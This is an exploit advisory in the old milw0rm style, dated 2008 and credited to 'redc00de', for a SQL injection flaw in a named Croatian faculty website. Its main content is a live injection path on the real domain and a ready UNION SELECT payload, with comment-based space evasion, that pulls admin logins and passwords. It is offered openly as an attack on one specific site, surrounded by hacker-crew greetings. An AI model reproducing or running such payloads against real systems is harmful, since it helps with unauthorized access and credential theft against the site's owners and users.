arturerceg-sql.txt

` _ ___ ___ _   
| | / _ \ / _ \ | |   
_ __ ___ __| | ___| | | | | | | __| | ___   
| '__/ _ \/ _` |/ __| | | | | | |/ _` |/ _ \  
| | | __/ (_| | (__| |_| | |_| | (_| | __/  
|_| \___|\__,_|\___|\___/ \___/ \__,_|\___|  
  
  
#**********************************************************************************#  
[+] [+]   
[+] "Artur Erceg" SQL Injection Vulnerbility [+]  
[+] [+]  
[+] [+]  
#**********************************************************************************#  
  
  
  
[+] AUTHOR: redc00de  
[+] Email: [email protected]  
[+] SITE/FRIENDS: http://khg-crew.ws/  
  
  
  
[+] Injection path: http://www.pravst.hr/fakultet.php?p=0&s=[INJECTON]  
  
  
[+] Example:   
http://www.pravst.hr/fakultet.php?p=0&s=-9999/**/union/**/all/**/select/**/1,2,null,4,concat(login,char(58),pass),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21/**/from/**/admin--  
  
  
[+] EXPLOIT:  
  
#########################################################################################################################################  
  
=-9999/**/union/**/all/**/select/**/1,2,null,4,concat(login,char(58),pass),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21/**/from/**/admin--  
  
##########################################################################################################################################  
  
  
  
#**********************************************************************************#  
[+] [+]   
[+] GREETZ: #AlbaniaN-[H], #Milw0rm & #All My Friends [+] [+]  
[+] [+]  
[+] [+]  
#**********************************************************************************#  
  
  
[+] Republic oF Kosova [+]  
[+] Viva U.S.A [+]  
  
  
# milw0rm.com [2008-07-05]`